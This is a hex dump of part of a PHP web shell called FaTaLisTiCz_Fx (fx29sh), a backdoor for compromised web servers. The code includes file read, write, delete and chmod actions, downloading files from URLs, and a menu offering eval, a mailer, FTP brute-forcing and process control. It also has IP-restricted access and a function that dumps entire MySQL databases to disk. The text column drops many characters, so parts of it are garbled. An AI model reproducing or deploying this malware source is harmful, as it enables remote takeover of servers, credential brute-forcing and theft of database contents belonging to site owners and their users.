9056: 20466154614C69735469437A5F4678292023230D0A247068706673616C696173          FaTaLisTiCz_Fx) ## $phpfsalias
9088: 6573203D206172726179280D0A2020202061727261792822526561642046696C          es = array( array("Read Fil
9120: 65222C202272656164222C20312C202246696C65222C202222292C0D0A202020          e", "read", 1, "File", ""),
9152: 206172726179282257726974652046696C6520285048503529222C2022777269          array("Write File (PHP5)", "wri
9184: 7465222C20322C202246696C65222C225465787422292C0D0A20202020617272          te", 2, "File","Text"), arr
9216: 61792822436F7079222C2022636F7079222C20322C202246726F6D222C202254          ay("Copy", "copy", 2, "From", "T
9248: 6F22292C0D0A202020206172726179282252656E616D652F4D6F7665222C2022          o"), array("Rename/Move", "
9280: 72656E616D65222C20322C202246696C65222C2022546F22292C0D0A20202020          rename", 2, "File", "To"),
9312: 6172726179282244656C657465222C202264656C657465222C2031202C224669          array("Delete", "delete", 1 ,"Fi
9344: 6C65222C202222292C0D0A20202020617272617928224D616B6520446972222C          le", ""), array("Make Dir",
9376: 226D6B646972222C20312C2022446972222C202222292C0D0A20202020617272          "mkdir", 1, "Dir", ""), arr
9408: 61792822446F776E6C6F6164222C2022646F776E6C6F6164222C20322C202255          ay("Download", "download", 2, "U
9440: 524C222C2022546F22292C0D0A2020202061727261792822446F776E6C6F6164          RL", "To"), array("Download
9472: 202842696E617279205361666529222C2022646F776E6C6F616462696E222C20          (Binary Safe)", "downloadbin",
9504: 322C202255524C222C2022546F22292C0D0A2020202061727261792822436861          2, "URL", "To"), array("Cha
9536: 6E6765205065726D20283037353529222C202263686D6F64222C20322C202246          nge Perm ( 755)", "chmod", 2, "F
9568: 696C65222C20225065726D7322292C0D0A202020206172726179282246696E64          ile", "Perms"), array("Find
9600: 205772697461626C6520446972222C2022667772697461626C65646972222C20          Writable Dir", "fwritabledir",
9632: 32202C2244697222292C0D0A202020206172726179282246696E642050617468          2 ,"Dir"), array("Find Path
9664: 6E616D65205061747465726E222C2022676C6F62222C32202C22446972222C20          name Pattern", "glob",2 ,"Dir",
9696: 225061747465726E22292C0D0A293B0D0A232320515549434B204C41554E4348          "Pattern"), ); ## QUICK LAUNCH
9728: 2023230D0A24717569636B6C61756E636831203D206172726179280D0A202020          ## $quicklaunch1 = array(
9760: 20617272617928223C696D67207372633D5C22222E247375726C2E226163743D          array("<img src=\"".$surl."act=
9792: 696D6726696D673D686F6D655C2220616C743D5C22486F6D655C2220626F7264          img&img=home\" alt=\"Home\" bord
9824: 65723D5C22305C223E222C247375726C292C0D0A20202020617272617928223C          er=\" \">",$surl), array("<
9856: 696D67207372633D5C22222E247375726C2E226163743D696D6726696D673D62          img src=\"".$surl."act=img&img=b
9888: 61636B5C2220616C743D5C224261636B5C2220626F726465723D5C22305C223E          ack\" alt=\"Back\" border=\" \">
9920: 222C22235C22206F6E636C69636B3D5C22686973746F72792E6261636B283129          ","#\" onclick=\"history.back(1)
9952: 22292C0D0A20202020617272617928223C696D67207372633D5C22222E247375          "), array("<img src=\"".$su
9984: 726C2E226163743D696D6726696D673D666F72776172645C2220616C743D5C22          rl."act=img&img=forward\" alt=\"
10016: 466F72776172645C2220626F726465723D5C22305C223E222C22235C22206F6E          Forward\" border=\" \">","#\" on
10048: 636C69636B3D5C22686973746F72792E676F28312922292C0D0A202020206172          click=\"history.go(1)"), ar
10080: 72617928223C696D67207372633D5C22222E247375726C2E226163743D696D67          ray("<img src=\"".$surl."act=img
10112: 26696D673D75705C2220616C743D5C2255705C2220626F726465723D5C22305C          &img=up\" alt=\"Up\" border=\" \
10144: 223E222C247375726C2E226163743D6C7326643D2575706426736F72743D2573          ">",$surl."act=ls&d=%upd&sort=%s
10176: 6F727422292C0D0A20202020617272617928223C696D67207372633D5C22222E          ort"), array("<img src=\"".
10208: 247375726C2E226163743D696D6726696D673D7365617263685C2220616C743D          $surl."act=img&img=search\" alt=
10240: 5C225365617263685C2220626F726465723D5C22305C223E222C247375726C2E          \"Search\" border=\" \">",$surl.
10272: 226163743D73656172636826643D256422292C0D0A2020202061727261792822          "act=search&d=%d"), array("
10304: 3C696D67207372633D5C22222E247375726C2E226163743D696D6726696D673D          <img src=\"".$surl."act=img&img=
10336: 6275666665725C2220616C743D5C224275666665725C2220626F726465723D5C          buffer\" alt=\"Buffer\" border=\
10368: 22305C223E222C247375726C2E226163743D66736275666626643D256422290D          " \">",$surl."act=fsbuff&d=%d")
10400: 0A293B0D0A24717569636B6C61756E636832203D206172726179280D0A202020          ); $quicklaunch2 = array(
10432: 2061727261792822536563757269747920496E666F222C247375726C2E226163          array("Security Info",$surl."ac
10464: 743D736563757269747926643D256422292C0D0A202020206172726179282250          t=security&d=%d"), array("P
10496: 726F636573736573222C247375726C2E226163743D70726F6365737365732664          rocesses",$surl."act=processes&d
10528: 3D256422292C0D0A20202020617272617928224D7953514C222C247375726C2E          =%d"), array("MySQL",$surl.
10560: 226163743D73716C26643D256422292C0D0A2020202061727261792822457661          "act=sql&d=%d"), array("Eva
10592: 6C222C247375726C2E226163743D6576616C26643D256422292C0D0A20202020          l",$surl."act=eval&d=%d"),
10624: 61727261792822456E636F646572222C247375726C2E226163743D656E636F64          array("Encoder",$surl."act=encod
10656: 657226643D256422292C0D0A20202020617272617928224D61696C6572222C24          er&d=%d"), array("Mailer",$
10688: 7375726C2E226163743D66786D61696C657222292C0D0A202020206172726179          surl."act=fxmailer"), array
10720: 28226D696C7730726D222C246D696C6C696E6B292C0D0A202020206172726179          ("milw rm",$millink), array
10752: 28224D64352D4C6F6F6B7570222C22687474703A2F2F6461726B633064652E63          ("Md5-Lookup","http://darkc de.c
10784: 6F6D2F64617461626173652F6D64356C6F6F6B75702E68746D6C22292C0D0A20          om/database/md5lookup.html"),
10816: 20202061727261792822546F6F6C7A222C247375726C2E226163743D746F6F6C          array("Toolz",$surl."act=tool
10848: 7326643D256422292C0D0A20202020617272617928224B696C6C2D5368656C6C          s&d=%d"), array("Kill-Shell
10880: 222C247375726C2E226163743D73656C6672656D6F766522292C0D0A20202020          ",$surl."act=selfremove"),
10912: 61727261792822466565646261636B222C247375726C2E226163743D66656564          array("Feedback",$surl."act=feed
10944: 6261636B22292C0D0A2020202061727261792822557064617465222C24737572          back"), array("Update",$sur
10976: 6C2E226163743D75706461746522292C0D0A202020206172726179282241626F          l."act=update"), array("Abo
11008: 7574222C247375726C2E226163743D61626F757422290D0A293B0D0A69662028          ut",$surl."act=about") ); if (
11040: 212477696E29207B0D0A202024717569636B6C61756E6368325B5D203D206172          !$win) { $quicklaunch2[] = ar
11072: 72617928223C62723E4654502D4272757465222C247375726C2E226163743D66          ray("<br>FTP-Brute",$surl."act=f
11104: 7470717569636B627275746526643D256422293B0D0A7D0D0A23232048494748          tpquickbrute&d=%d"); } ## HIGH
11136: 4C4947485420434F44452023230D0A24686967686C696768745F6261636B6772          LIGHT CODE ## $highlight_backgr
11168: 6F756E64203D202223433043304330223B0D0A24686967686C696768745F6267          ound = "#C C C "; $highlight_bg
11200: 203D202223464646464646223B0D0A24686967686C696768745F636F6D6D656E          = "#FFFFFF"; $highlight_commen
11232: 74203D202223364136413641223B0D0A24686967686C696768745F6465666175          t = "#6A6A6A"; $highlight_defau
11264: 6C74203D202223303030304242223B0D0A24686967686C696768745F68746D6C          lt = "#    BB"; $highlight_html
11296: 203D202223313330304646223B0D0A24686967686C696768745F6B6579776F72          = "#13  FF"; $highlight_keywor
11328: 64203D202223303037373030223B0D0A24686967686C696768745F737472696E          d = "#  77  "; $highlight_strin
11360: 67203D202223303030303030223B0D0A23232323232323232323232323232323          g = "#      "; ################
11392: 232323230D0A23235B2041555448454E544943415445205D23230D0A23232323          #### ##[ AUTHENTICATE ]## ####
11424: 232323232323232323232323232323230D0A24746D70203D2061727261792829          ################ $tmp = array()
11456: 3B0D0A666F7265616368202824617574685B22686F7374616C6C6F77225D2061          ; foreach ($auth["hostallow"] a
11488: 7320246B203D3E20247629207B0D0A202024746D705B5D203D207374725F7265          s $k => $v) { $tmp[] = str_re
11520: 706C61636528225C5C2A222C222E2A222C707265675F71756F74652824762929          place("\\*",".*",preg_quote($v))
11552: 3B0D0A7D0D0A2473203D2022215E28222E696D706C6F646528227C222C24746D          ; } $s = "!^(".implode("|",$tm
11584: 70292E2229242169223B0D0A6966202821707265675F6D617463682824732C67          p).")$!i"; if (!preg_match($s,g
11616: 6574656E76282252454D4F54455F4144445222292920616E642021707265675F          etenv("REMOTE_ADDR")) and !preg_
11648: 6D617463682824732C676574686F737462796164647228676574656E76282252          match($s,gethostbyaddr(getenv("R
11680: 454D4F54455F414444522229292929207B0D0A20206578697428223C61206872          EMOTE_ADDR")))) { exit("<a hr
11712: 65663D5C222473685F6D61696E75726C5C223E2473685F6E616D653C2F613E3A          ef=\"$sh_mainurl\">$sh_name</a>:
11744: 204163636573732044656E696564202D20596F757220686F73742028222E6765          Access Denied - Your host (".ge
11776: 74656E76282252454D4F54455F4144445222292E2229206E6F7420616C6C6F77          tenv("REMOTE_ADDR").") not allow
11808: 656422293B0D0A7D0D0A6966202821656D7074792824617574685B226C6F6769          ed"); } if (!empty($auth["logi
11840: 6E225D2929207B0D0A202069662028656D7074792824617574685B226D643570          n"])) { if (empty($auth["md5p
11872: 617373225D2929207B2024617574685B226D643570617373225D203D206D6435          ass"])) { $auth["md5pass"] = md5
11904: 2824617574685B2270617373225D293B207D0D0A20206966202828245F534552          ($auth["pass"]); } if (($_SER
11936: 5645525B225048505F415554485F55534552225D20213D2024617574685B226C          VER["PHP_AUTH_USER"] != $auth["l
11968: 6F67696E225D29206F7220286D643528245F5345525645525B225048505F4155          ogin"]) or (md5($_SERVER["PHP_AU
12000: 54485F5057225D2920213D2024617574685B226D643570617373225D2929207B          TH_PW"]) != $auth["md5pass"])) {
12032: 0D0A2020202068656164657228225757572D41757468656E7469636174653A20          header("WWW-Authenticate:
12064: 4261736963207265616C6D3D5C22222E2473685F6E616D652E223A2052657374          Basic realm=\"".$sh_name.": Rest
12096: 72696374656420417265615C2222293B0D0A2020202068656164657228224854          ricted Area\""); header("HT
12128: 54502F312E302034303120556E617574686F72697A656422293B0D0A20202020          TP/1.  4 1 Unauthorized");
12160: 6469652824617574685B2264656E696564225D293B0D0A20207D0D0A7D0D0A23          die($auth["denied"]); } } #
12192: 2320454E442041555448454E5449434154452023230D0A0D0A69662028246163          # END AUTHENTICATE ## if ($ac
12224: 7420213D2022696D672229207B0D0A2020246C617374646972203D207265616C          t != "img") { $lastdir = real
12256: 7061746828222E22293B0D0A202063686469722824637572646972293B0D0A20          path("."); chdir($curdir);
12288: 2069662028247570646174656E6F7729207B20406F625F636C65616E28293B20          if ($updatenow) { @ob_clean();
12320: 6678323973685F6765747570646174652831293B20657869743B207D0D0A2020          fx29sh_getupdate(1); exit; }
12352: 24736573735F64617461203D2040756E73657269616C697A6528245F434F4F4B          $sess_data = @unserialize($_COOK
12384: 49455B2224736573735F636F6F6B6965225D293B0D0A2020696620282169735F          IE["$sess_cookie"]); if (!is_
12416: 61727261792824736573735F646174612929207B2024736573735F6461746120          array($sess_data)) { $sess_data
12448: 3D20617272617928293B207D0D0A2020696620282169735F6172726179282473          = array(); } if (!is_array($s
12480: 6573735F646174615B22636F7079225D2929207B2024736573735F646174615B          ess_data["copy"])) { $sess_data[
12512: 22636F7079225D203D20617272617928293B207D0D0A2020696620282169735F          "copy"] = array(); } if (!is_
12544: 61727261792824736573735F646174615B22637574225D2929207B2024736573          array($sess_data["cut"])) { $ses
12576: 735F646174615B22637574225D203D20617272617928293B207D0D0A20206678          s_data["cut"] = array(); } fx
12608: 32395F627566665F7072657061726528293B0D0A2020666F7265616368202861          29_buff_prepare(); foreach (a
12640: 727261792822736F7274222C2273716C5F736F7274222920617320247629207B          rray("sort","sql_sort") as $v) {
12672: 0D0A202020206966202821656D70747928245F4745545B24765D2929207B2424          if (!empty($_GET[$v])) {$$
12704: 76203D20245F4745545B24765D3B7D0D0A202020206966202821656D70747928          v = $_GET[$v];} if (!empty(
12736: 245F504F53545B24765D2929207B242476203D20245F504F53545B24765D3B7D          $_POST[$v])) {$$v = $_POST[$v];}
12768: 0D0A20207D0D0A20206966202824736F72745F7361766529207B0D0A20202020          } if ($sort_save) {
12800: 6966202821656D7074792824736F72742929207B736574636F6F6B6965282273          if (!empty($sort)) {setcookie("s
12832: 6F7274222C24736F7274293B7D0D0A202020206966202821656D707479282473          ort",$sort);} if (!empty($s
12864: 716C5F736F72742929207B736574636F6F6B6965282273716C5F736F7274222C          ql_sort)) {setcookie("sql_sort",
12896: 2473716C5F736F7274293B7D0D0A20207D0D0A2020696620282166756E637469          $sql_sort);} } if (!functi
12928: 6F6E5F6578697374732822706F7369785F6765747077756964222920616E6420          on_exists("posix_getpwuid") and
12960: 21696E5F61727261792822706F7369785F6765747077756964222C2464697361          !in_array("posix_getpwuid",$disa
12992: 626C6566756E632929207B66756E6374696F6E20706F7369785F676574707775          blefunc)) {function posix_getpwu
13024: 6964282475696429207B72657475726E2046414C53453B7D7D0D0A2020696620          id($uid) {return FALSE;}} if
13056: 282166756E6374696F6E5F6578697374732822706F7369785F67657467726769          (!function_exists("posix_getgrgi
13088: 64222920616E642021696E5F61727261792822706F7369785F67657467726769          d") and !in_array("posix_getgrgi
13120: 64222C2464697361626C6566756E632929207B66756E6374696F6E20706F7369          d",$disablefunc)) {function posi
13152: 785F6765746772676964282467696429207B72657475726E2046414C53453B7D          x_getgrgid($gid) {return FALSE;}
13184: 7D0D0A2020696620282166756E6374696F6E5F6578697374732822706F736978          } if (!function_exists("posix
13216: 5F6B696C6C222920616E642021696E5F61727261792822706F7369785F6B696C          _kill") and !in_array("posix_kil
13248: 6C222C2464697361626C6566756E632929207B66756E6374696F6E20706F7369          l",$disablefunc)) {function posi
13280: 785F6B696C6C282467696429207B72657475726E2046414C53453B7D7D0D0A20          x_kill($gid) {return FALSE;}}
13312: 20696620282166756E6374696F6E5F65786973747328226D7973716C5F64756D          if (!function_exists("mysql_dum
13344: 70222929207B0D0A2020202066756E6374696F6E206D7973716C5F64756D7028          p")) { function mysql_dump(
13376: 2473657429207B0D0A202020202020676C6F62616C202473685F7665723B0D0A          $set) { global $sh_ver;
13408: 20202020202024736F636B203D20247365745B22736F636B225D3B0D0A202020          $sock = $set["sock"];
13440: 202020246462203D20247365745B226462225D3B0D0A20202020202024707269          $db = $set["db"]; $pri
13472: 6E74203D20247365745B227072696E74225D3B0D0A202020202020246E6C3262          nt = $set["print"]; $nl2b
13504: 72203D20247365745B226E6C326272225D3B0D0A2020202020202466696C6520          r = $set["nl2br"]; $file
13536: 3D20247365745B2266696C65225D3B0D0A202020202020246164645F64726F70          = $set["file"]; $add_drop
13568: 203D20247365745B226164645F64726F70225D3B0D0A20202020202024746162          = $set["add_drop"]; $tab
13600: 73203D20247365745B2274616273225D3B0D0A202020202020246F6E6C797461          s = $set["tabs"]; $onlyta
13632: 6273203D20247365745B226F6E6C7974616273225D3B0D0A2020202020202472          bs = $set["onlytabs"]; $r
13664: 6574203D20617272617928293B0D0A202020202020247265745B22657272225D          et = array(); $ret["err"]
13696: 203D20617272617928293B0D0A202020202020696620282169735F7265736F75          = array(); if (!is_resou
13728: 7263652824736F636B2929207B6563686F28224572726F723A205C24736F636B          rce($sock)) {echo("Error: \$sock
13760: 206973206E6F742076616C6964207265736F757263652E22293B7D0D0A202020          is not valid resource.");}
13792: 20202069662028656D707479282464622929207B246462203D20226462223B7D          if (empty($db)) {$db = "db";}
13824: 0D0A20202020202069662028656D70747928247072696E742929207B24707269          if (empty($print)) {$pri
13856: 6E74203D20303B7D0D0A20202020202069662028656D70747928246E6C326272          nt =  ;} if (empty($nl2br
13888: 2929207B246E6C326272203D20303B7D0D0A20202020202069662028656D7074          )) {$nl2br =  ;} if (empt
13920: 7928246164645F64726F702929207B246164645F64726F70203D20545255453B          y($add_drop)) {$add_drop = TRUE;
13952: 7D0D0A20202020202069662028656D707479282466696C652929207B0D0A2020          } if (empty($file)) {
13984: 2020202020202466696C65203D2024746D706469722E2264756D705F222E6765          $file = $tmpdir."dump_".ge
14016: 74656E7628225345525645525F4E414D4522292E225F222E2464622E225F222E          tenv("SERVER_NAME")."_".$db."_".
14048: 646174652822642D6D2D592D482D692D7322292E222E73716C223B0D0A202020          date("d-m-Y-H-i-s").".sql";
14080: 2020207D0D0A202020202020696620282169735F617272617928247461627329          } if (!is_array($tabs)
14112: 29207B2474616273203D20617272617928293B7D0D0A20202020202069662028          ) {$tabs = array();} if (
14144: 656D70747928246164645F64726F702929207B246164645F64726F70203D2054          empty($add_drop)) {$add_drop = T
14176: 5255453B7D0D0A2020202020206966202873697A656F6628247461627329203D          RUE;} if (sizeof($tabs) =
14208: 3D203029207B0D0A20202020202020202F2F5265747269657665207461626C65          =  ) { //Retrieve table
14240: 732D6C6973740D0A202020202020202024726573203D206D7973716C5F717565          s-list $res = mysql_que
14272: 7279282253484F57205441424C45532046524F4D20222E2464622C2024736F63          ry("SHOW TABLES FROM ".$db, $soc
14304: 6B293B0D0A2020202020202020696620286D7973716C5F6E756D5F726F777328          k); if (mysql_num_rows(
14336: 2472657329203E203029207B7768696C65202824726F77203D206D7973716C5F          $res) >  ) {while ($row = mysql_
14368: 66657463685F726F7728247265732929207B24746162735B5D203D2024726F77          fetch_row($res)) {$tabs[] = $row
14400: 5B305D3B7D7D0D0A2020202020207D0D0A202020202020246F7574203D20220D          [ ];}} } $out = "
14432: 0A202020202020232044756D70656420627920222E2473685F6E616D652E220D          # Dumped by ".$sh_name."
14464: 0A202020202020230D0A2020202020202320486F73742073657474696E67733A          # # Host settings:
14496: 0D0A20202020202023204D7953514C2076657273696F6E3A2028222E6D797371          # MySQL version: (".mysq
14528: 6C5F6765745F7365727665725F696E666F28292E22292072756E6E696E67206F          l_get_server_info().") running o
14560: 6E20222E676574656E7628225345525645525F4144445222292E222028222E67          n ".getenv("SERVER_ADDR")." (".g
14592: 6574656E7628225345525645525F4E414D4522292E2229222E220D0A20202020          etenv("SERVER_NAME").")"."
14624: 20202320446174653A20222E646174652822642E6D2E5920483A693A7322292E          # Date: ".date("d.m.Y H:i:s").
14656: 220D0A202020202020232044423A205C22222E2464622E225C220D0A20202020          " # DB: \"".$db."\"
14688: 2020232D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D          #-----------------------------
14720: 2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D223B0D0A          ----------------------------";
14752: 2020202020202463203D20636F756E7428246F6E6C7974616273293B0D0A2020          $c = count($onlytabs);
14784: 20202020666F7265616368282474616273206173202474616229207B0D0A2020          foreach($tabs as $tab) {
14816: 2020202020206966202828696E5F617272617928247461622C246F6E6C797461          if ((in_array($tab,$onlyta
14848: 62732929206F7220282124632929207B0D0A2020202020202020202069662028          bs)) or (!$c)) { if (
14880: 246164645F64726F7029207B246F7574202E3D202244524F50205441424C4520          $add_drop) {$out .= "DROP TABLE
14912: 4946204558495354532060222E247461622E22603B5C6E223B7D0D0A20202020          IF EXISTS `".$tab."`;\n";}
14944: 2020202020202F2F526563656965766520717565727920666F72206372656174          //Receieve query for creat
14976: 65207461626C65207374727563747572650D0A20202020202020202020247265          e table structure $re
15008: 73203D206D7973716C5F7175657279282253484F572043524541544520544142          s = mysql_query("SHOW CREATE TAB
15040: 4C452060222E247461622E2260222C2024736F636B293B0D0A20202020202020          LE `".$tab."`", $sock);
15072: 20202069662028212472657329207B247265745B22657272225D5B5D203D206D          if (!$res) {$ret["err"][] = m
15104: 7973716C5F736D6172746572726F7228293B7D0D0A2020202020202020202065          ysql_smarterror();} e
15136: 6C7365207B0D0A20202020202020202020202024726F77203D206D7973716C5F          lse { $row = mysql_
15168: 66657463685F726F772824726573293B0D0A202020202020202020202020246F          fetch_row($res); $o
15200: 7574202E3D2024726F775B2231225D2E223B5C6E5C6E223B0D0A202020202020          ut .= $row["1"].";\n\n";
15232: 2020202020202F2F5265636569657665207461626C65207661726961626C6573          //Receieve table variables
15264: 0D0A20202020202020202020202024726573203D206D7973716C5F7175657279          $res = mysql_query
15296: 282253454C454354202A2046524F4D20602474616260222C2024736F636B293B          ("SELECT * FROM `$tab`", $sock);
15328: 0D0A202020202020202020202020696620286D7973716C5F6E756D5F726F7773          if (mysql_num_rows
15360: 282472657329203E203029207B0D0A2020202020202020202020202020776869          ($res) >  ) { whi
15392: 6C65202824726F77203D206D7973716C5F66657463685F6173736F6328247265          le ($row = mysql_fetch_assoc($re
15424: 732929207B0D0A20202020202020202020202020202020246B657973203D2069          s)) { $keys = i
15456: 6D706C6F64652822602C2060222C2061727261795F6B6579732824726F772929          mplode("`, `", array_keys($row))
15488: 3B0D0A202020202020202020202020202020202476616C756573203D20617272          ; $values = arr
15520: 61795F76616C7565732824726F77293B0D0A2020202020202020202020202020          ay_values($row);
15552: 2020666F7265616368282476616C75657320617320246B3D3E247629207B2476          foreach($values as $k=>$v) {$v
15584: 616C7565735B246B5D203D20616464736C6173686573282476293B7D0D0A2020          alues[$k] = addslashes($v);}
15616: 20202020202020202020202020202476616C756573203D20696D706C6F646528          $values = implode(
15648: 22272C2027222C202476616C756573293B0D0A20202020202020202020202020          "', '", $values);
15680: 2020202473716C203D2022494E5345525420494E544F20602474616260286022          $sql = "INSERT INTO `$tab`(`"
15712: 2E246B6579732E2260292056414C554553202827222E2476616C7565732E2227          .$keys."`) VALUES ('".$values."'
15744: 293B5C6E223B0D0A20202020202020202020202020202020246F7574202E3D20          );\n"; $out .=
15776: 2473716C3B0D0A20202020202020202020202020207D0D0A2020202020202020          $sql; }
15808: 202020207D0D0A202020202020202020207D0D0A20202020202020207D0D0A20          } } }
15840: 20202020207D0D0A202020202020246F7574202E3D2022232D2D2D2D2D2D2D2D          } $out .= "#--------
15872: 2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D          --------------------------------
15904: 2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D          --------------------------------
15936: 2D2D2D2D2D2D2D2D2D5C6E5C6E223B0D0A202020202020696620282466696C65          ---------\n\n"; if ($file
15968: 29207B0D0A2020202020202020246670203D20666F70656E282466696C652C20          ) { $fp = fopen($file,
16000: 227722293B0D0A2020202020202020696620282124667029207B247265745B22          "w"); if (!$fp) {$ret["
16032: 657272225D5B5D203D20323B7D0D0A2020202020202020656C7365207B0D0A20          err"][] = 2;} else {
16064: 20202020202020202066777269746520282466702C20246F7574293B0D0A2020          fwrite ($fp, $out);
16096: 202020202020202066636C6F73652028246670293B0D0A20202020202020207D          fclose ($fp); }
16128: 0D0A2020202020207D0D0A20202020202069662028247072696E7429207B6966          } if ($print) {if
16160: 2028246E6C32627229207B6563686F206E6C32627228246F7574293B7D20656C          ($nl2br) {echo nl2br($out);} el
16192: 7365207B6563686F20246F75743B7D7D0D0A20202020202072657475726E2024          se {echo $out;}} return $
16224: 6F75743B0D0A202020207D0D0A20207D0D0A2020696620282166756E6374696F          out; } } if (!functio
16256: 6E5F65786973747328226D7973716C5F6275696C647768657265222929207B0D          n_exists("mysql_buildwhere")) {
16288: 0A2020202066756E6374696F6E206D7973716C5F6275696C6477686572652824          function mysql_buildwhere($
16320: 61727261792C247365703D2220616E64222C2466756E6374733D617272617928          array,$sep=" and",$functs=array(
16352: 2929207B0D0A202020202020696620282169735F617272617928246172726179          )) { if (!is_array($array
16384: 2929207B246172726179203D20617272617928293B7D0D0A2020202020202472          )) {$array = array();} $r
16416: 6573756C74203D2022223B0D0A202020202020666F7265616368282461727261          esult = ""; foreach($arra
16448: 7920617320246B3D3E247629207B0D0A20202020202020202476616C7565203D          y as $k=>$v) { $value =
16480: 2022223B0D0A20202020202020206966202821656D707479282466756E637473          ""; if (!empty($functs
16512: 5B246B5D2929207B2476616C7565202E3D202466756E6374735B246B5D2E2228          [$k])) {$value .= $functs[$k]."(
16544: 223B7D0D0A20202020202020202476616C7565202E3D202227222E616464736C          ";} $value .= "'".addsl
16576: 6173686573282476292E2227223B0D0A20202020202020206966202821656D70          ashes($v)."'"; if (!emp
16608: 7479282466756E6374735B246B5D2929207B2476616C7565202E3D202229223B          ty($functs[$k])) {$value .= ")";
16640: 7D0D0A202020202020202024726573756C74202E3D202260222E246B2E226020          } $result .= "`".$k."`
16672: 3D20222E2476616C75652E247365703B0D0A2020202020207D0D0A2020202020          = ".$value.$sep; }
16704: 2024726573756C74203D207375627374722824726573756C742C302C7374726C          $result = substr($result, ,strl
16736: 656E2824726573756C74292D7374726C656E282473657029293B0D0A20202020          en($result)-strlen($sep));
16768: 202072657475726E2024726573756C743B0D0A202020207D0D0A20207D0D0A20          return $result; } }
16800: 20696620282166756E6374696F6E5F65786973747328226D7973716C5F666574          if (!function_exists("mysql_fet
16832: 63685F616C6C222929207B0D0A2020202066756E6374696F6E206D7973716C5F          ch_all")) { function mysql_
16864: 66657463685F616C6C282471756572792C24736F636B29207B0D0A2020202020          fetch_all($query,$sock) {
16896: 206966202824736F636B29207B24726573756C74203D206D7973716C5F717565          if ($sock) {$result = mysql_que
16928: 7279282471756572792C24736F636B293B7D0D0A202020202020656C7365207B          ry($query,$sock);} else {
16960: 24726573756C74203D206D7973716C5F717565727928247175657279293B7D0D          $result = mysql_query($query);}
16992: 0A202020202020246172726179203D20617272617928293B0D0A202020202020          $array = array();
17024: 7768696C65202824726F77203D206D7973716C5F66657463685F617272617928          while ($row = mysql_fetch_array(
17056: 24726573756C742929207B2461727261795B5D203D2024726F773B7D0D0A2020          $result)) {$array[] = $row;}
17088: 202020206D7973716C5F667265655F726573756C742824726573756C74293B0D          mysql_free_result($result);
17120: 0A20202020202072657475726E202461727261793B0D0A202020207D0D0A2020          return $array; }
17152: 7D0D0A2020696620282166756E6374696F6E5F65786973747328226D7973716C          } if (!function_exists("mysql
17184: 5F736D6172746572726F72222929207B0D0A2020202066756E6374696F6E206D          _smarterror")) { function m
17216: 7973716C5F736D6172746572726F722824747970652C24736F636B29207B0D0A          ysql_smarterror($type,$sock) {
17248: 2020202020206966202824736F636B29207B246572726F72203D206D7973716C          if ($sock) {$error = mysql
17280: 5F6572726F722824736F636B293B7D0D0A202020202020656C7365207B246572          _error($sock);} else {$er
17312: 726F72203D206D7973716C5F6572726F7228293B7D0D0A202020202020246572          ror = mysql_error();} $er
17344: 726F72203D2068746D6C7370656369616C636861727328246572726F72293B0D          ror = htmlspecialchars($error);
17376: 0A20202020202072657475726E20246572726F723B0D0A202020207D0D0A2020          return $error; }
17408: 7D0D0A2020696620282166756E6374696F6E5F65786973747328226D7973716C          } if (!function_exists("mysql
17440: 5F71756572795F666F726D222929207B0D0A2020202066756E6374696F6E206D          _query_form")) { function m
17472: 7973716C5F71756572795F666F726D2829207B0D0A202020202020676C6F6261          ysql_query_form() { globa
17504: 6C20247375626D69742C2473716C5F6163742C2473716C5F71756572792C2473          l $submit,$sql_act,$sql_query,$s
17536: 716C5F71756572795F726573756C742C2473716C5F636F6E6669726D2C247371          ql_query_result,$sql_confirm,$sq
17568: 6C5F71756572795F6572726F722C2474626C5F7374727563743B0D0A20202020          l_query_error,$tbl_struct;
17600: 20206966202828247375626D69742920616E642028212473716C5F7175657279          if (($submit) and (!$sql_query
17632: 5F726573756C742920616E6420282473716C5F636F6E6669726D2929207B6966          _result) and ($sql_confirm)) {if
17664: 2028212473716C5F71756572795F6572726F7229207B2473716C5F7175657279          (!$sql_query_error) {$sql_query
17696: 5F6572726F72203D202251756572792077617320656D707479223B7D20656368          _error = "Query was empty";} ech
17728: 6F20223C623E4572726F723A3C2F623E203C62723E222E2473716C5F71756572          o "<b>Error:</b> <br>".$sql_quer
17760: 795F6572726F722E223C62723E223B7D0D0A202020202020696620282473716C          y_error."<br>";} if ($sql
17792: 5F71756572795F726573756C74206F722028212473716C5F636F6E6669726D29          _query_result or (!$sql_confirm)
17824: 29207B2473716C5F616374203D202473716C5F676F746F3B7D0D0A2020202020          ) {$sql_act = $sql_goto;}
17856: 20696620282821247375626D697429206F7220282473716C5F6163742929207B          if ((!$submit) or ($sql_act)) {
17888: 0D0A20202020202020206563686F20223C7461626C6520626F726465723D303E          echo "<table border= >
17920: 3C74723E3C74643E3C666F726D206E616D653D5C226678323973685F73716C71          <tr><td><form name=\"fx29sh_sqlq
17952: 756572795C22206D6574686F643D504F53543E3C623E223B2069662028282473          uery\" method=POST><b>"; if (($s
17984: 716C5F71756572792920616E64202821247375626D69742929207B6563686F20          ql_query) and (!$submit)) {echo
18016: 22446F20796F75207265616C6C792077616E7420746F223B7D20656C7365207B          "Do you really want to";} else {
18048: 6563686F202253514C2D5175657279223B7D206563686F20223A3C2F623E3C62          echo "SQL-Query";} echo ":</b><b
18080: 723E3C62723E3C7465787461726561206E616D653D73716C5F71756572792063          r><br><textarea name=sql_query c
18112: 6F6C733D31303020726F77733D31303E222E68746D6C7370656369616C636861          ols=1   rows=1 >".htmlspecialcha
18144: 7273282473716C5F7175657279292E223C2F74657874617265613E3C62723E3C          rs($sql_query)."</textarea><br><
18176: 62723E3C696E70757420747970653D68696464656E206E616D653D6163742076          br><input type=hidden name=act v
18208: 616C75653D73716C3E3C696E70757420747970653D68696464656E206E616D65          alue=sql><input type=hidden name
18240: 3D73716C5F6163742076616C75653D71756572793E3C696E7075742074797065          =sql_act value=query><input type
18272: 3D68696464656E206E616D653D73716C5F74626C2076616C75653D5C22222E68          =hidden name=sql_tbl value=\"".h
18304: 746D6C7370656369616C6368617273282473716C5F74626C292E225C223E3C69          tmlspecialchars($sql_tbl)."\"><i
18336: 6E70757420747970653D68696464656E206E616D653D7375626D69742076616C          nput type=hidden name=submit val
